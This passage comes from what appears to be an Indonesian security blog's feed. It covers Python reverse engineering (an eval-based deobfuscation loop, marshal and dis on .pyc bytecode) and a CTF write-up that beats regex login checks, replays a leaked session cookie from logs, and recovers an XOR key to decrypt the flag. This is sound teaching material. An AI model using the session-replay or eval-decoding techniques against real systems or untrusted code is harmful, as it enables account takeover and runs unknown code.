obfuscate_str = (_)(b'A+pAW8w/+9cxY35EeyFVcLbyqDKGpUOanCFCUVVwGWItIYh9LzSSfRhole9RY8NVAqm0Bah4cir/PYFOiiCVIi1GYChx1LLEryJr+r3w0YzDOW0X8wGWYV90lCZwxIi5r4DAhED74pv6ZfYp7jf3tX4rqiVTMgCpUKa7CWGdZ0xV2dom1pnQNOz+Uk9uDlDPVEkizxnF4pDe1NnS9rWKmbls9A3Ho+wyR66EjIz3Qm4sckZDEMgKEIjogXq07OlXac8e8DY9HHOVzSQ5tXx5M8GZxa3nAx41zRazZRm2UPgh7ZpwocDx6/uQ05I03N63GPjsmpXjCZ/kHtbPvtGe1jWfqZf+tNkqC3e9Yy8OYJIh85XaZnesf7xZmjskHUtcJNkebJ5XA08w2Ptm/hHMbot288OWyQrTNR2ZOOXC+sSIa1wRL7YdNFAWUSd97hoc5Z7Am26D9Lm+wN4moDKJOXM639h0v39+3y2iBd3s6nvx1ZMJ7apc0LVYh6OSxTBG6VbOPDNAAAkQ2udwFwJe')


decode = str(obfuscate_str).replace('b"exec', "").replace('"', '')

result = b""
for i in range(0, 4):
        x = eval(decode)
        decode = str(x).replace('b"exec', "").replace('"', '')
        result = x


print(result.decode('utf-8'))
</code></pre>



<p>Jadi fungsi pada script diatas yaitu akan melakukan iterasi sebanyak 5 kali serta melakukan replace fungsi exec lalu dilakukan eval untuk menyimpan hasil decoding pada variable x hingga menemukan source code asli dan terakhir menggunakan print untuk menampilkan output code pada layar</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="657" height="402" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-170600.png" alt="" class="wp-image-417" style="width:827px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-170600.png 657w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-170600-300x184.png 300w" sizes="auto, (max-width: 657px) 100vw, 657px" /></figure>



<p>Jika dijalankan maka akan manampilkan source code hasil deobfuscate yang menunjukkan kita berhasil mendapatkan source code aslinya. Case disini source code bisa dikembalikan pada bentuk semula karena hanya obfuscate memakai double encoding tapi bagaimana jika programmer melakukan compiling ataupun serialization ? jawabannya dengan melakukan analysis bytecode</p>



<p>Kita perlu kenalan dulu dengan marshal, jadi marshal merupakan fungsi atau modul bawaan dari python yang digunakan untuk mendapatkan byte code dari suatu script python itu sendiri jadi bisa kita sebut marshal ini sebagai suatu pseudo compiled dimana dengan marshal kita bisa melakukan converting code python ke binary format dan serialization menjadi bytecode object.</p>



<p>kita bisa melakukan compile python script menggunakan command :</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-21e8c1a783c71ba2aaccf650788b6760"><code>python3 -m py_compile source_codes.py</code></pre>



<p>dan outputnya nanti akan tersimpan pada directory __<strong>pycache</strong>__ yang dimana extension file berubah menjadi .pyc. Sebenarnya.pyc merupakan file marshal yang ditambahkan header dan jika beruntung kita bisa melakukan decompile menggunakan uncompyle6 untuk mendapatkan source code asli tapi tidak selalu berhasil jadi cara alternatifnya kita perlu membaca bytecode mengunakan modul python yaitu <strong><em>dis</em></strong>.</p>



<p>untuk mengambil bytecode script python pada pyc mudah saja kita perlu mengambil byte setelah header dan paddingnya yaitu 16 byte lalu kita simpan pada file terpisah dan lakukan load menggunakan marshal.loads()</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="790" height="210" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-173920.png" alt="" class="wp-image-418" style="width:840px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-173920.png 790w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-173920-300x80.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-173920-768x204.png 768w" sizes="auto, (max-width: 790px) 100vw, 790px" /></figure>



<p>Kita bisa ambil row kedua setelah 16 byte pada offset 00000010</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-e6290d764c9537c074f63a66b35c530e"><code>import marshal

f = open("__pycache__/source_code.cpython-311.pyc", "rb").read()&#91;16:]
#f = open("source_code.py", "r").read()

print(f)
#code = compile(f, '', 'exec')
#print(marshal.dumps(code))
</code></pre>



<p>dan jika kita jalankan </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="407" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174504-1024x407.png" alt="" class="wp-image-419" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174504-1024x407.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174504-300x119.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174504-768x306.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174504.png 1347w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>maka akan menampilkan semua bytecode marshal pada file pyc kemudian kita bisa copas semua output lalu buat file baru yang nantinya kita akan eksekusi menggunakan marshal.loads()</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="343" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174651-1024x343.png" alt="" class="wp-image-420" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174651-1024x343.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174651-300x100.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174651-768x257.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174651.png 1326w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>jika kita eksekusi sama saja dengan program .pyc kita</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="749" height="178" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174722.png" alt="" class="wp-image-421" style="width:840px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174722.png 749w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174722-300x71.png 300w" sizes="auto, (max-width: 749px) 100vw, 749px" /></figure>



<p>Disini bytecode dari pyc berguna untuk melakukan disassemble menggunakan modul <em><strong>dis</strong></em> yang kita bahas sebelumnya</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="330" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-175212-1024x330.png" alt="" class="wp-image-422" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-175212-1024x330.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-175212-300x97.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-175212-768x247.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-175212.png 1329w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>kita hanya perlu import modul dis dan lakukan pemanggilan fungsi <em><strong>dis.dis</strong></em> dengan parameter hasil marshal.loads() yang sebelumnya kita dapatkan</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1010" height="699" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-175506.png" alt="" class="wp-image-423" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-175506.png 1010w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-175506-300x208.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-175506-768x532.png 768w" sizes="auto, (max-width: 1010px) 100vw, 1010px" /></figure>



<p>Maka akan menampilkan hasil disassemble opcode dari script python hal ini bisa sulit jika codenya rumit tapi dari sini kita bisa melihat fungsi apa saja dan bagaimana suatu program itu bekerja</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-4ed656cc0a88e67231262d10504b2aa0"><code>Disassembly of &lt;code object validation at 0x7fe1e3401330, file "source_code.py", line 3>:
  3           0 RESUME                   0

  4           2 LOAD_GLOBAL              1 (NULL + codecs)
             14 LOAD_ATTR                1 (decode)
             24 LOAD_CONST               1 ('ouvarxn-grpu1336')
             26 LOAD_CONST               2 ('rot-13')
             28 PRECALL                  2
             32 CALL                     2
             42 STORE_FAST               1 (valid_input)

  5          44 LOAD_FAST                0 (input)
             46 LOAD_FAST                1 (valid_input)
             48 COMPARE_OP               2 (==)
             54 POP_JUMP_FORWARD_IF_FALSE     2 (to 60)

  6          56 LOAD_CONST               3 (True)
             58 RETURN_VALUE

  9     >>   60 LOAD_CONST               4 (False)
             62 RETURN_VALUE</code></pre>



<p>Contohnya pada fungsi validation dimana ada beberapa mnemonic seperti <em>LOAD_GLOBAL </em>yang digunakan untuk mengambil fungsi global dalam hal ini codecs lalu ada <em>LOAD_ATTR </em>yang mengambil attribute dengan 2 parameter yaitu ouvarxn-grpu1336 dan rot-13 yang di inisialisasi menggunakan <em>LOAD_CONST</em> dan dilakukan perbandingan menggunakan COMPARE_OP dari variable input(dalam hal ini input dari user) dengan valid_input yang mengambil dari LOAD_GLOBAL codecs.</p>



<p>Disini kita bisa analysis jika codecs melakukan decode ROT-13 pada string ouvarxn-grpu1336 dan jika kita decode ROT13 string asli merupakan <em><strong>bhineka-tech1336</strong></em> lalu kita coba inputkan pada program</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="556" height="125" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-180600.png" alt="" class="wp-image-424" style="width:831px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-180600.png 556w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-180600-300x67.png 300w" sizes="auto, (max-width: 556px) 100vw, 556px" /></figure>



<p>dan berhasil yang menunjukkan output Input Correct </p>



<p><strong>Penutup</strong></p>



<p>Sebenarnya masih banyak teknik yang bisa kita lakukan untuk RE pada python contohnya kita juga bisa melakukan overwrite internal module untuk hooking dan menampilkan suatu string / data tertentu atau jika pada executable file kita bisa memanfaatkan teknik memory dump untuk melihat data pada saat program berjalan. Jadi kita tidak mungkin membahas semuanya karena itu akan sangat panjang dan tulisan ini dibuat untuk para reverser engineer agar lebih memahami bagaimana melakukan reverse engineering pada python script jadi mungkin itu saja sekiann.</p>



<p><em>&#8220;Yang penting bukan seberapa pintar kamu, tetapi seberapa keras kamu berusaha.&#8221;</em> <strong> -Albert Einstein</strong></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/12/06/python-reverse-engineering/">Python reverse engineering</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2024/12/06/python-reverse-engineering/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Logfrenzy WriteUp bhitech &#8211; challenge</title>
		<link>https://blog.bhineka-tech.org/2024/11/15/logfrenzy-writeup-bhitech-challenge/</link>
					<comments>https://blog.bhineka-tech.org/2024/11/15/logfrenzy-writeup-bhitech-challenge/#respond</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Fri, 15 Nov 2024 20:30:20 +0000</pubDate>
				<category><![CDATA[Capture The Flag]]></category>
		<category><![CDATA[cryptography]]></category>
		<category><![CDATA[CTF]]></category>
		<category><![CDATA[technology]]></category>
		<category><![CDATA[web exploitation]]></category>
		<category><![CDATA[web pentesting]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=352</guid>

					<description><![CDATA[<p>Sebenarnya challenge ini dibuat dari ide teman saya yang kebetulan juga saya ikut membantu dalam proses development dan deployment dimana challenge ini terkait dengan Web Exploitation dan Cryptography jadi langsung saja Bisa dibaca pada deskripsi untuk lebih jelas dan intinya pada deskripsi diberikan suatu clue yaitu regex dan analysis. Jika kita masuk pada halaman login [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/11/15/logfrenzy-writeup-bhitech-challenge/">Logfrenzy WriteUp bhitech &#8211; challenge</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Sebenarnya challenge ini dibuat dari ide teman saya yang kebetulan juga saya ikut membantu dalam proses development dan deployment dimana challenge ini terkait dengan Web Exploitation dan Cryptography jadi langsung saja</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="402" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015140-1024x402.png" alt="" class="wp-image-353" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015140-1024x402.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015140-300x118.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015140-768x302.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015140-1536x603.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015140.png 1825w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-62309e10b1e9dcd51baa510e1739b84d"><code>LogFrenzy &#x1f575;&#x200d;&#x2642;&#x1f4bb;

Selamat datang di LogFrenzy, tantangan seru untuk menguji kemampuan analisis log dan regex! &#x1f50d; Di sini, peserta akan dihadapkan pada log penuh petunjuk tersembunyi. Tugasnya? Teliti, bongkar pola, pecahkan regex, dan temukan flag yang tersembunyi! &#x1f3c6;

Kecepatan dan ketelitian adalah kunci, tapi kreativitas dalam memecahkan masalah juga sangat diperlukan. Siap untuk tantangan ini di LogFrenzy? &#x1f4a5;

Level: Medium
Kategori: Web Exploitation &amp; Cryptography
Hadiah (First Solved): Rp 30.000 &#x1f3c5;

URL Challenge: 
https:&#47;&#47;logfrenzy.siber-tech.web.id
Flag: bhitech{...}

#ChallengeAccepted #LogLife #CTF #Bhitech</code></pre>



<p>Bisa dibaca pada deskripsi untuk lebih jelas dan intinya pada deskripsi diberikan suatu clue yaitu regex dan analysis.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="506" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015348-1024x506.png" alt="" class="wp-image-354" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015348-1024x506.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015348-300x148.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015348-768x380.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015348-1536x760.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015348.png 1854w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Jika kita masuk pada halaman login terdapat 2 form input yaitu username dan password </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="270" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015426-1024x270.png" alt="" class="wp-image-355" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015426-1024x270.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015426-300x79.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015426-768x202.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015426-1536x405.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015426.png 1636w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Dimana jika view source pada HTML code terdapat regex dari username dan password jadi kita diminta untuk melakukan bypass dan memecahkan validasi regex tersebut.</p>



<pre class="wp-block-code"><code>username regex:
^(?=.*&#91;A-Z])(?=.*&#91;a-z])(?=.*&#91;0-9])(?=.*&#91;!@#$%^&amp;*])&#91;A-Za-z0-9!@#$%^&amp;*]{12,20}$  

password regex: 
^(?=.*&#91;A-Z])(?=.*&#91;a-z])(?=.*&#91;0-9])(?=.*&#91;!@#$%^&amp;*])(?!.*(\d)\1{2,})(?!.*(&#91;A-Za-z0-9])\2{2,})&#91;A-Za-z0-9!@#$%^&amp;*]{20,30}$</code></pre>



<p>Jika kita memahami regex sangat mudah untuk memecahkan pattern dari validasi tersebut, pada regex username terdapat pola dimana kita harus menginputkan character mulai dari huruf besar, kecil, angka dan special character hingga 12 sampai 20 dan pada password meminta hingga 20 sampai 30 character.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="392" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020100-1024x392.png" alt="" class="wp-image-356" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020100-1024x392.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020100-300x115.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020100-768x294.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020100-1536x589.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020100.png 1811w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Mulai analysis manual menggunakan webtools <a href="https://regex101.com/">https://regex101.com/</a> dan lakukan matching pada pattern regex disini kita inputkan dengan <strong><em>Bhitech!@123</em></strong> dan terlihat matching ya selanjutnya kita analysis pada bagian password</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="498" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020356-1024x498.png" alt="" class="wp-image-357" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020356-1024x498.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020356-300x146.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020356-768x373.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020356-1536x747.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020356.png 1862w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>pada password kita juga memiliki pattern yang cocok menggunakan string <em><strong>Bhitech123!A@testing</strong></em> jadi kita sudah menemukan username dan password</p>



<p>user: <strong><em>Bhitech!@123</em></strong></p>



<p>pass: <em><strong>Bhitech123!A@testing</strong></em></p>



<p>Jadi kita bisa lanjut untuk login..</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="493" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020730-1024x493.png" alt="" class="wp-image-359" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020730-1024x493.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020730-300x144.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020730-768x370.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020730-1536x739.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020730.png 1762w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Dan kita berhasil masuk dashboard, dan pada tampilan dashboard terdapat 3 list menu dan kita diminta untuk mendownload file log</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="868" height="463" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021018.png" alt="" class="wp-image-360" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021018.png 868w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021018-300x160.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021018-768x410.png 768w" sizes="auto, (max-width: 868px) 100vw, 868px" /></figure>



<p> Pada access log di file pertama tidak ada yang menarik hanya akses log dan menampilkan request path dari client jadi kita lanjut yang kedua</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="269" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021201-1024x269.png" alt="" class="wp-image-361" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021201-1024x269.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021201-300x79.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021201-768x202.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021201.png 1324w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>pada file error log kedua juga tidak ada hint atau clue jadi kita skip dan lanjut pada file user action yang ketiga </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="308" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021312-1024x308.png" alt="" class="wp-image-362" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021312-1024x308.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021312-300x90.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021312-768x231.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021312.png 1202w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Dan disini menarik jadi pada file ketiga ini berisi log action user yang sudah login dan terdapat name cookie dari object User Action dimana berisi key session_id dan value semacam unique number. </p>



<p>Kemungkinan ini merupakan suatu valid session dari user sebelumnya karena dari key objectnya menunjukkan cookie jadi kita masukkan cookie dengan name session_id dan memilih acak salah satu value</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="450" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021942-1024x450.png" alt="" class="wp-image-363" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021942-1024x450.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021942-300x132.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021942-768x337.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021942-1536x675.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021942.png 1707w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Benar saja setelah input cookies, pada header website menampilkan suatu pesan yang dimana disana kita menemukan suatu cipher text </p>



<pre class="wp-block-code"><code>Kode rahasia:

3a273b1f001a3034070509163b24610f3a29183c211c550b3c101d0d3a2d692261342649363e2758175836282f

Petunjuk XOR:

Ingat, jika A ^ B = C, maka C ^ A = B! 
Semoga ini membantu!

Format flag: bhitech{...}</code></pre>



<p>Dan kita juga disuguhkan suatu petunjuk terkait dengan XOR. jadi XOR itu merupakan operasi cryptography ya dimana jika 1 ^ 1 = 0 maka 1 ^ 0 =1 atau gampangnya jika bilangan yang di XOR itu sama contoh 1 ^ 1 = 0 atau 0 ^ 0 = 0 dan sebaliknya jika bilangan berbeda maka hasilnya 1</p>



<p>Bisa asumsikan disini kita mempunyai ciphertext tapi tidak mempunyai key jadi rumusnya:</p>



<pre class="wp-block-code"><code>flag ^ key = ciphertext(kita punya)

jika

cipher ^ key = flag(kita belum punya)

disini kita membutuhkan key dimana kita sudah tau sebagian dari format flag yaitu bhitech{} jadi jika 

cipher ^ flag(sebagian) = key 

jadi kita perlu lakukan XOR dengan sebagian flag untuk mendapatkan key sehingga kita bisa melakukan decrypting pada ciphertext </code></pre>



<p>ada 2 cara ya kita bisa menggunakan webtools maupun membuat suatu program sendiri menggunakan python. Simplenya kita bisa menggunakan webtools dari cyberchef <a href="https://gchq.github.io/CyberChef/">https://gchq.github.io/CyberChef/</a></p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="442" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-023654-1024x442.png" alt="" class="wp-image-364" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-023654-1024x442.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-023654-300x130.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-023654-768x332.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-023654-1536x663.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-023654.png 1880w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Pertama kita convert dulu dari hex karena ciphertext disana di encode menggunakan hexadecimal lalu kedua kita pilih XOR</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="461" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-023844-1024x461.png" alt="" class="wp-image-366" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-023844-1024x461.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-023844-300x135.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-023844-768x346.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-023844-1536x692.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-023844.png 1894w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Terlihat ya saat kita input bhitech(6 character) sebagian output menampilkan <em><strong>XORkey</strong></em>(6 character) karena kita menginput 6 character jadi hasil yang diambil juga 6 character yang dimana kita berhasil mendapatkan suatu key yaitu <em><strong>XORkey</strong></em> dan jika masukkan key yang valid</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="472" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-024119-1024x472.png" alt="" class="wp-image-367" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-024119-1024x472.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-024119-300x138.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-024119-768x354.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-024119-1536x708.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-024119.png 1888w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Maka outputnya akan menampilkan flag yang benar atau bisa juga kita membuat simple program menggunakan python</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="281" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-032741-1024x281.png" alt="" class="wp-image-368" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-032741-1024x281.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-032741-300x82.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-032741-768x210.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-032741.png 1230w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>dan jika kita run</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="601" height="148" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-032820.png" alt="" class="wp-image-371" style="width:837px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-032820.png 601w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-032820-300x74.png 300w" sizes="auto, (max-width: 601px) 100vw, 601px" /></figure>



